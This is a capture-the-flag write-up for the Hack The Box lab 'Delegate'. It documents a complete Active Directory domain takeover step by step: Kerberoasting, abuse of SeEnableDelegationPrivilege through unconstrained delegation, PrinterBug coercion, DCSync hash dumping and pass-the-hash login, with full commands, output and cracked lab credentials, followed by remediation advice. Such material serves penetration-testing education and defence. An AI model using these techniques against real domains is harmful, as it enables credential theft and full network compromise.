HTB: Delegate
Delegate features a vulnerable delegation scenario with the "SeEnableDelegationPrivilege" privilege. In this write-up, I showcase the planning and execution of different attack techniques, including a specific case of unconstrained delegation.
| OS | Difficult | Release Date |
| Windows | Medium | 11 Sep 2025 |
Tools Used
nmap, netexec, smbclient, bloodyAD, bloodhound-ce-python, targetedKerberoast.py, hashcat, evil-winrm, addcomputer.py, dnstool.py, nslookup, addspn.py, pypykatz, krbrelayx.py, printerbug.py, secretsdump.py
Attack Summary
- Ran
nxcand identified guest login was enabled. - Ran
smbclientto enumerate the shares and found valid credentials fora.briggs. - Identified
a.briggshadGenericWriteovern.thompsonin BloodHound. - Performed Targeted Kerberosting attack against
n.thompsonand cracked its password. - Logged in via WinRM as
n.thompson. - Identified
n.thompsonhasSeEnableDelegationPrivilegeprivilege. - Performed unconstrained delegation attack against the DC, and acquired its TGT.
- Performed DCSync attack against the DC using the TGT.
- Logged in as
Administratorusing the dumped hash.
Recon
Initial Scan
I ran nmap and found 27 open TCP ports. I set --min-rate to 1500 for faster full port scan. Higher rates can sometimes cause false negatives. The port pattern matches that of a typical Windows AD domain controller.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
❯ nmap -p- --max-retries 1 --min-rate 1500 --max-scan-delay 20 -T4 --open 10.129.234.69
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-04 19:22 CST
Nmap scan report for 10.129.234.69
Host is up (0.21s latency).
Not shown: 65508 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49670/tcp open unknown
55452/tcp open unknown
55622/tcp open unknown
59033/tcp open unknown
59081/tcp open unknown
59082/tcp open unknown
59086/tcp open unknown
I ran nmap again to enumerate services running on the open ports. I noticed RDP and WinRM were up, which could provide a potential entry point later with valid credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
❯ nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,47001 10.129.234.69
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-04 19:26 CST
Nmap scan report for 10.129.234.69
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-04 11:27:12Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC1.delegate.vl
| Not valid before: 2025-10-03T10:50:49
|_Not valid after: 2026-04-04T10:50:49
|_ssl-date: 2025-10-04T11:28:04+00:00; +40s from scanner time.
| rdp-ntlm-info:
| Target_Name: DELEGATE
| NetBIOS_Domain_Name: DELEGATE
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: delegate.vl
| DNS_Computer_Name: DC1.delegate.vl
| DNS_Tree_Name: delegate.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-10-04T11:27:26+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-10-04T11:27:29
|_ start_date: N/A
|_clock-skew: mean: 39s, deviation: 0s, median: 39s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.84 seconds
I used nxc to generate a hosts file and appended it to /etc/hosts.
1
2
3
4
5
6
7
❯ nxc smb 10.129.234.69 --generate-hosts-file hosts
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
❯ cat hosts
10.129.234.69 DC1.delegate.vl delegate.vl DC1
❯ cat /etc/hosts hosts | sudo sponge /etc/hosts
TCP 445 - SMB
I ran nxc to enuemrate shares with guest login, which was successful. No custom share was found.
1
2
3
4
5
6
7
8
9
10
11
❯ nxc smb 10.129.234.69 -u 'guest' -p '' --shares
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.69 445 DC1 [+] delegate.vl\guest:
SMB 10.129.234.69 445 DC1 [*] Enumerated shares
SMB 10.129.234.69 445 DC1 Share Permissions Remark
SMB 10.129.234.69 445 DC1 ----- ----------- ------
SMB 10.129.234.69 445 DC1 ADMIN$ Remote Admin
SMB 10.129.234.69 445 DC1 C$ Default share
SMB 10.129.234.69 445 DC1 IPC$ READ Remote IPC
SMB 10.129.234.69 445 DC1 NETLOGON READ Logon server share
SMB 10.129.234.69 445 DC1 SYSVOL READ Logon server share
I ran smbclient to enumerate the content of the NETLOGON share which normally contains user logon scripts if there is any.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ smbclient -N //10.129.234.69/NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Aug 26 20:45:24 2023
.. D 0 Sat Aug 26 17:45:45 2023
users.bat A 159 Sat Aug 26 20:54:29 2023
4652287 blocks of size 4096. 1011261 blocks available
smb: \> get users.bat
getting file \users.bat of size 159 as users.bat (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> ^C
❯ cat users.bat
rem @echo off
net use * /delete /y
net use v: \\dc1\development
if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator P4ssw0rd1#123
A set of cleartext credentials was found in a logon script.
A.Briggs:P4ssw0rd1#123
A.Briggs
I ran nxc to verify the credential.
1
2
3
❯ nxc smb 10.129.234.69 -u 'A.Briggs' -p 'P4ssw0rd1#123'
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.69 445 DC1 [+] delegate.vl\A.Briggs:P4ssw0rd1#123
I then proceeded to credentialed enumeration. First I wanted to know what privileges the compromised user account possessed. Various tools are good for this task, I like bloodyAD for its versatility and intuitive commandline design.
1
2
3
4
5
6
7
8
9
10
❯ bloodyAD -u a.briggs -p 'P4ssw0rd1#123' --dc-ip 10.129.234.69 get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=delegate,DC=vl
permission: WRITE
distinguishedName: CN=A.Briggs,CN=Users,DC=delegate,DC=vl
permission: WRITE
distinguishedName: CN=N.Thompson,CN=Users,DC=delegate,DC=vl
permission: WRITE
N.Thompson
BloodHound
Now I confirmed the compromised user had write permission on N.Thompson. However, I couldn’t use the same tool to check N.Thompson’s permissions without its credentials due to bloodyAD’s limitation. Next I ran bloodhound-ce-python to collect AD objects data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ bloodhound-ce-python -u a.briggs -p 'P4ssw0rd1#123' -ns 10.129.234.69 -d delegate.vl -dc DC1.delegate.vl -c all --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: delegate.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC1.delegate.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC1.delegate.vl
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC1.delegate.vl
INFO: Done in 00M 38S
INFO: Compressing output into 20250912200539_bloodhound.zip
I uploaded the zip into the BloodHound-CE, marked a.briggs as owned, then ran “Shortest paths from Owned objects” pre-built Cypher query. I found that a.briggs had GenericWrite permission over n.thompson, who was a member of the REMOTE MANAGEMENT USERS group.

(fail) Shadow Credentials Attack
It was tempting to run shadow credentials attack against n.thompson. However, when I tried so I encountered KDC_ERR_PADATA_TYPE_NOSUPP error. This is because ADCS or CA were not configured in the domain, and the DC did not have its own key pair.
Prerequisites for shadow credentials attack:
- be in a domain that supports PKINIT and containing at least one Domain Controller running Windows Server 2016 or above.
- be in a domain where the Domain Controller(s) has its own key pair (for the session key exchange) (e.g. happens when AD CS is enabled or when a certificate authority (CA) is in place).
- have control over an account that can edit the target object’s msDs-KeyCredentialLink attribute.
Targeted Kerberoasting
The next attack in line was Targeted Kerberoasting. I ran targetedKerberoast.py to get a Kerberoas hash for the n.thompson user.
1
2
3
4
5
❯ tools/targetedKerberoast/targetedKerberoast.py -u a.briggs -p 'P4ssw0rd1#123' --request-user n.thompson -d delegate.vl
[*] Starting kerberoast attacks
[*] Attacking user (n.thompson)
[+] Printing hash for (N.Thompson)
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$4840a714fa2318d65e48b8a68e90c25e$aa7a2c47eb888bcb17b3e6129debb42b8a80f2d6f1ebcb102ffc5ddd0305eb55d2765d8c6315ef6cf62416e8e9d7bcfa5f4c31a9e4c2adc68968d3d385151a8dcbdbc6fa599c9ad1ba0dd4118cf73787ca7c8ff632ac6ff598e65662f7bc2a0dd7f57621bddfa994d1ab369be05cf32baa4aa532430c9794a07521b766a988a9466dc2c20818e23b159858f334151de837954133afff44285a0f5edd64a8ec894ffc19e01292f7728a7535ac9dfc1c11bc5edd5c1591f79b056725ec0ed92c34980cf2a367692386e2370aeab8cea5edd31dbe1d9bf278762889c405ea08e7e22e1f9962eb7fc84782bc6834b8a3c957fbc27bcac1fbb80167001ab3bca4b7d679f51dec655cf0082359854ae7c7ed4903258e22663edbac328981198465fe984a0857f6f3701034142a0d698eb7850cd5d7e0c724a32e1e0ff7bff8a32d7edfbaaf1da88b73c0cc5049ff2858d761e59babc3c9716aa25beda4df7e963abb971e8edccab4ba49759dd205f2c377d3ac43ea2214a1c27057e6df8528b382e8eb0f96d244ba26f65284a5b33bfebd3bac8b65d06badc2d4cc06611cd1e8a79995c94277795ffe365cd6b3c39d992593e5ab1f63ecfc4306a37e2a86c9a2a42a3f3a0b443f397ecbf95d417657ed73a91adab766d5f9a9608cda7f2cc53a26ec19a7a17f70ba3746d8a8c48aaf009780b10e6bef2b9ff3ded3baff2a03e0ff05d50a4d1f234190493f477b6401246001285df09d879ead53d46f8c509b9ba2881e424e2d6cf515fd61d29fedf01c4d7fbb142112a6cf99f56bd9db5fe9c69fdf3dfb183b6ff0686ce7f4efdeefc7979027a898ee9c25d13dfce4abe4a9ec3df1dd656990ce0240b8a00df5b1fbf2e851dc6724943d20dff8fb4a347e1ca0ca59c7a5e59ff47949f4fdb02543aa39309413b387d535831640cc2efd894836e1d4239ebbb9304aa5f94dfc78ed6e362100565da233f545aeaa9859a1764e36e0f3c9e8ddc087877e79239216c67f5681702788b28a8482d6fed0ddd8fdfad3177273c2a4cd602716f784bedeea44bc971993e820c610e91c28ba2522a4a2194cf96c007d0b3c163f2626e4e8aa2a8555aad17fb9e29230a8178cc2b1ac7046651f3e94c9fc462d157f874544259d74cb56ab35cea119292f35adf6cea6a46cd826046e13442093db1fb3577d1f6d9159a2524bad8c3e77f900b47e5a3fa56704fd0ebb39384660a0031c043270fb0a08720ced2f77bfa536d3c9dffb274a308339d70cc4a88386111175ca403abce5ea6427fcd542d0b96aa2e9abceae95597ed337b7ddd6ead325635d8c9d0e81e1c493b16803299dec06c2a35ba1df9ae7dfa7b15e949101c8b3f565a68537362582078a595c254cc387888a68694d394922f527f62d63dd1e08ced1ed9b9589b95f8e4f7dac783ae0275f85113c64419230b9b36f2a5b3d
Then I ran hashcat to crack the hash.
1
2
❯ hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt --show
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$4840a714fa2318d65e48b8a68e90c25e$aa7a2c47eb888bcb17b3e6129debb42b8a80f2d6f1ebcb102ffc5ddd0305eb55d2765d8c6315ef6cf62416e8e9d7bcfa5f4c31a9e4c2adc68968d3d385151a8dcbdbc6fa599c9ad1ba0dd4118cf73787ca7c8ff632ac6ff598e65662f7bc2a0dd7f57621bddfa994d1ab369be05cf32baa4aa532430c9794a07521b766a988a9466dc2c20818e23b159858f334151de837954133afff44285a0f5edd64a8ec894ffc19e01292f7728a7535ac9dfc1c11bc5edd5c1591f79b056725ec0ed92c34980cf2a367692386e2370aeab8cea5edd31dbe1d9bf278762889c405ea08e7e22e1f9962eb7fc84782bc6834b8a3c957fbc27bcac1fbb80167001ab3bca4b7d679f51dec655cf0082359854ae7c7ed4903258e22663edbac328981198465fe984a0857f6f3701034142a0d698eb7850cd5d7e0c724a32e1e0ff7bff8a32d7edfbaaf1da88b73c0cc5049ff2858d761e59babc3c9716aa25beda4df7e963abb971e8edccab4ba49759dd205f2c377d3ac43ea2214a1c27057e6df8528b382e8eb0f96d244ba26f65284a5b33bfebd3bac8b65d06badc2d4cc06611cd1e8a79995c94277795ffe365cd6b3c39d992593e5ab1f63ecfc4306a37e2a86c9a2a42a3f3a0b443f397ecbf95d417657ed73a91adab766d5f9a9608cda7f2cc53a26ec19a7a17f70ba3746d8a8c48aaf009780b10e6bef2b9ff3ded3baff2a03e0ff05d50a4d1f234190493f477b6401246001285df09d879ead53d46f8c509b9ba2881e424e2d6cf515fd61d29fedf01c4d7fbb142112a6cf99f56bd9db5fe9c69fdf3dfb183b6ff0686ce7f4efdeefc7979027a898ee9c25d13dfce4abe4a9ec3df1dd656990ce0240b8a00df5b1fbf2e851dc6724943d20dff8fb4a347e1ca0ca59c7a5e59ff47949f4fdb02543aa39309413b387d535831640cc2efd894836e1d4239ebbb9304aa5f94dfc78ed6e362100565da233f545aeaa9859a1764e36e0f3c9e8ddc087877e79239216c67f5681702788b28a8482d6fed0ddd8fdfad3177273c2a4cd602716f784bedeea44bc971993e820c610e91c28ba2522a4a2194cf96c007d0b3c163f2626e4e8aa2a8555aad17fb9e29230a8178cc2b1ac7046651f3e94c9fc462d157f874544259d74cb56ab35cea119292f35adf6cea6a46cd826046e13442093db1fb3577d1f6d9159a2524bad8c3e77f900b47e5a3fa56704fd0ebb39384660a0031c043270fb0a08720ced2f77bfa536d3c9dffb274a308339d70cc4a88386111175ca403abce5ea6427fcd542d0b96aa2e9abceae95597ed337b7ddd6ead325635d8c9d0e81e1c493b16803299dec06c2a35ba1df9ae7dfa7b15e949101c8b3f565a68537362582078a595c254cc387888a68694d394922f527f62d63dd1e08ced1ed9b9589b95f8e4f7dac783ae0275f85113c64419230b9b36f2a5b3d:KALEB_2341
I ran nxc to verify the credentials.
1
2
3
❯ nxc smb 10.129.234.69 -u 'n.thompson' -p 'KALEB_2341'
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.69 445 DC1 [+] delegate.vl\n.thompson:KALEB_2341
They worked for WinRM.
1
2
3
4
5
6
7
8
❯ nxc rdp 10.129.234.69 -u 'n.thompson' -p 'KALEB_2341'
RDP 10.129.234.69 3389 DC1 [*] Windows 10 or Windows Server 2016 Build 20348 (name:DC1) (domain:delegate.vl) (nla:True)
RDP 10.129.234.69 3389 DC1 [+] delegate.vl\n.thompson:KALEB_2341
❯ nxc winrm 10.129.234.69 -u 'n.thompson' -p 'KALEB_2341'
WINRM 10.129.234.69 5985 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl)
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.234.69 5985 DC1 [+] delegate.vl\n.thompson:KALEB_2341 (Pwn3d!)
Then I logged in via WinRM as n.thompson.
1
2
3
4
5
6
7
8
9
10
11
❯ evil-winrm -i 10.129.234.69 -u n.thompson -p KALEB_2341
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\N.Thompson\Documents> cat ../desktop/user.txt
<SNIP>
Administrator
Enum
There wasn’t anything interesting in the root folder or the users folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*Evil-WinRM* PS C:\users> tree /f /a
Folder PATH listing
Volume serial number is 1753-FC39
C:.
+---Administrator
+---N.Thompson
| +---Desktop
| | user.txt
| |
| +---Documents
| +---Downloads
| +---Favorites
| +---Links
| +---Music
| +---Pictures
| +---Saved Games
| \---Videos
\---Public
I checked user’s privileges next. Interestingly the user had SeEnableDelegationPrivilege, which can be abused for Unconstrained and Constrained delegation attacks to compromise the domain.
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\N.Thompson\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Unconstrained Delegation Attack
The plan is to trick the domain controller into authenticating to a service hosted on a domain-joined computer configured with unconstrained delegation, while the attack machine impersonates that computer. This would allow the attack machine to capture the domain controller’s TGT.
I needed to first create a domain-joined computer, assign it unconstrained delegation using the SeEnableDelegationPrivilege, then add a malicious DNS record to redirect authentication traffic to the attack machine.
Before executing the attack, I needed to verify that the conditions were met.
I ran nxc to confirm that the user was able to create a new computer.
1
2
3
4
5
❯ nxc ldap 10.129.234.69 -u 'n.thompson' -p 'KALEB_2341' -M maq
LDAP 10.129.234.69 389 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl)
LDAP 10.129.234.69 389 DC1 [+] delegate.vl\n.thompson:KALEB_2341
MAQ 10.129.234.69 389 DC1 [*] Getting the MachineAccountQuota
MAQ 10.129.234.69 389 DC1 MachineAccountQuota: 10
I ran nxc again to confirm that the DC was vulnerable to coercion attacks, which allow it to be coerced into authenticating to a target service.
1
2
3
4
5
6
7
8
❯ netexec smb dc1.delegate.vl -u tester$ -p Password1 -M coerce_plus
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.69 445 DC1 [+] delegate.vl\tester$:Password1
COERCE_PLUS 10.129.234.69 445 DC1 VULNERABLE, DFSCoerce
COERCE_PLUS 10.129.234.69 445 DC1 VULNERABLE, PetitPotam
COERCE_PLUS 10.129.234.69 445 DC1 VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69 445 DC1 VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69 445 DC1 VULNERABLE, MSEven
With the basic enumeration complete, the attack seemed feasible. I then proceeded to execute the attack.
I ran addcomputer.py to create a new computer account.
1
2
3
4
❯ addcomputer.py -computer-name tester$ -computer-pass Password1 delegate.vl/n.thompson:KALEB_2341
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account tester$ with password Password1.
I ran dnstool.py to add a malicous DNS record pointing to the attack machine.
1
2
3
4
5
6
❯ python tools/krbrelayx/dnstool.py -u 'delegate.vl\tester$' -p Password1 -r tester.delegate.vl -d 10.10.14.21 --action add 10.129.234.69
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
I waited a few minutes for the DNS record to update and then verified that it was working.
1
2
3
4
5
6
❯ nslookup tester.delegate.vl 10.129.234.69
Server: 10.129.234.69
Address: 10.129.234.69#53
Name: tester.delegate.vl
Address: <ATTACKER IP>
I ran addspn.py to add a SPN to the computer account, but it returned an error and suggested using the --additional switch.
1
2
3
4
5
6
7
8
9
❯ python tools/krbrelayx/addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' -t tester$ --spn 'cifs/tester.delegate.vl' -dc-ip 10.129.234.69 dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[!] Could not modify object, the server reports a constrained violation
[!] You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)
[!] To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute
I ran again with the switch and it worked.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ python tools/krbrelayx/addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' -t tester$ --spn 'cifs/tester.delegate.vl' -dc-ip 10.129.234.69 dc1.delegate.vl --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
❯ python tools/krbrelayx/addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' -t tester$ -q -dc-ip 10.129.234.69 dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=tester,CN=Computers,DC=delegate,DC=vl - STATUS: Read - READ TIME: 2025-09-12T08:49:03.316786
msDS-AdditionalDnsHostName: tester.delegate.vl <---
sAMAccountName: tester$
I ran the original command again and this time it worked, the SPN was successfully added.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ python tools/krbrelayx/addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' -t tester$ --spn 'cifs/tester.delegate.vl' -dc-ip 10.129.234.69 dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
htb/labs/Delegate took 2s
❯ python tools/krbrelayx/addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' -t tester$ -q -dc-ip 10.129.234.69 dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=tester,CN=Computers,DC=delegate,DC=vl - STATUS: Read - READ TIME: 2025-10-05T08:52:28.185602
msDS-AdditionalDnsHostName: tester.delegate.vl
sAMAccountName: tester$
servicePrincipalName: cifs/tester.delegate.vl <---
Next, I used bloodyAD to add the unconstrained delegation flag to the computer account.
1
2
3
4
5
6
❯ bloodyAD -u n.thompson -p 'KALEB_2341' --dc-ip 10.129.234.69 add uac tester$ -f TRUSTED_FOR_DELEGATION
[-] ['TRUSTED_FOR_DELEGATION'] property flags added to tester$'s userAccountControl
❯ bloodyAD -u n.thompson -p 'KALEB_2341' --dc-ip 10.129.234.69 get object tester$ --attr userAccountControl
distinguishedName: CN=tester,CN=Computers,DC=delegate,DC=vl
userAccountControl: WORKSTATION_TRUST_ACCOUNT; TRUSTED_FOR_DELEGATION <---
To catch the Kerberos authentication from the DC and extract the TGT, I ran krbrelayx on the attack machine, and supplied it with the malicious computer account’s NTLM hash. The NTLM hash is simply the MD4 hash of the password in UTF-16LE format. There are various ways to obtain it, but I like using pypykatz as it is convenient.
1
2
❯ pypykatz crypto nt Password1
64f12cddaa88057e06a81b54e73b949b
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ python tools/krbrelayx/krbrelayx.py -hashes :64f12cddaa88057e06a81b54e73b949b
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
I then ran printerbug.py against the DC to coerce it into authenticating to tester.delegate.vl. Note that it is important to specify the FQDN rather than just IP address.
1
2
3
4
5
6
7
8
❯ python tools/krbrelayx/printerbug.py delegate.vl/n.thompson:KALEB_2341@dc1.delegate.vl tester.delegate.vl
[*] Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Attempting to trigger authentication via rprn RPC at dc1.delegate.vl
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked
The TGT for the DC was captured and saved.
1
2
3
4
5
6
7
8
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.129.234.69
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache <---
[*] SMBD: Received connection from 10.129.234.69
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.129.234.69
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
DCSync Attack
With the ticket, I ran secretsdump.py to perform a DCSync attack against the DC and dumped the NTDS database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache secretsdump.py delegate.vl/'DC1$'@dc1.delegate.vl -k -no-pass
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ceab4cc695e65045562aa3ee93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
A.Briggs:1104:aad3b435b51404eeaad3b435b51404ee:8e5a0462f96bc85faf20378e243bc4a3:::
b.Brown:1105:aad3b435b51404eeaad3b435b51404ee:deba71222554122c3634496a0af085a6:::
R.Cooper:1106:aad3b435b51404eeaad3b435b51404ee:17d5f7ab7fc61d80d1b9d156f815add1:::
J.Roberts:1107:aad3b435b51404eeaad3b435b51404ee:4ff255c7ff10d86b5b34b47adc62114f:::
N.Thompson:1108:aad3b435b51404eeaad3b435b51404ee:4b514595c7ad3e2f7bb70e7e61ec1afe:::
DC1$:1000:aad3b435b51404eeaad3b435b51404ee:f7caf5a3e44bac110b9551edd1ddfa3c:::
tester$:4601:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
<SNIP>
Then I logged in via WinRM as Administrator using the dumped hash.
1
2
3
4
5
6
7
8
9
10
11
❯ evil-winrm -i 10.129.234.69 -u administrator -H c32198ceab4cc695e65045562aa3ee93
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../desktop/root.txt
20c3c***************************
Remediation
Short term
- Disable Guest and anonymous login across SMB and domain.
- Revoke
SeEnableDelegationPrivilegefrom non-administrative users. - Remove plaintext credentials from logon scripts.
Medium term
- Audit and remove users with
GenericWriteor other powerful ACLs over other accounts unless explicitly required. - Set
ms-DS-MachineAccountQuotato 0, and monitor / require approval processess for machine account creation. - Enforce strong password policy for domain accounts.
- Hardern DNS: restrict who can create/modify records.
- Disable unnecessary services on Domain Controllers. E.g., print spooler.
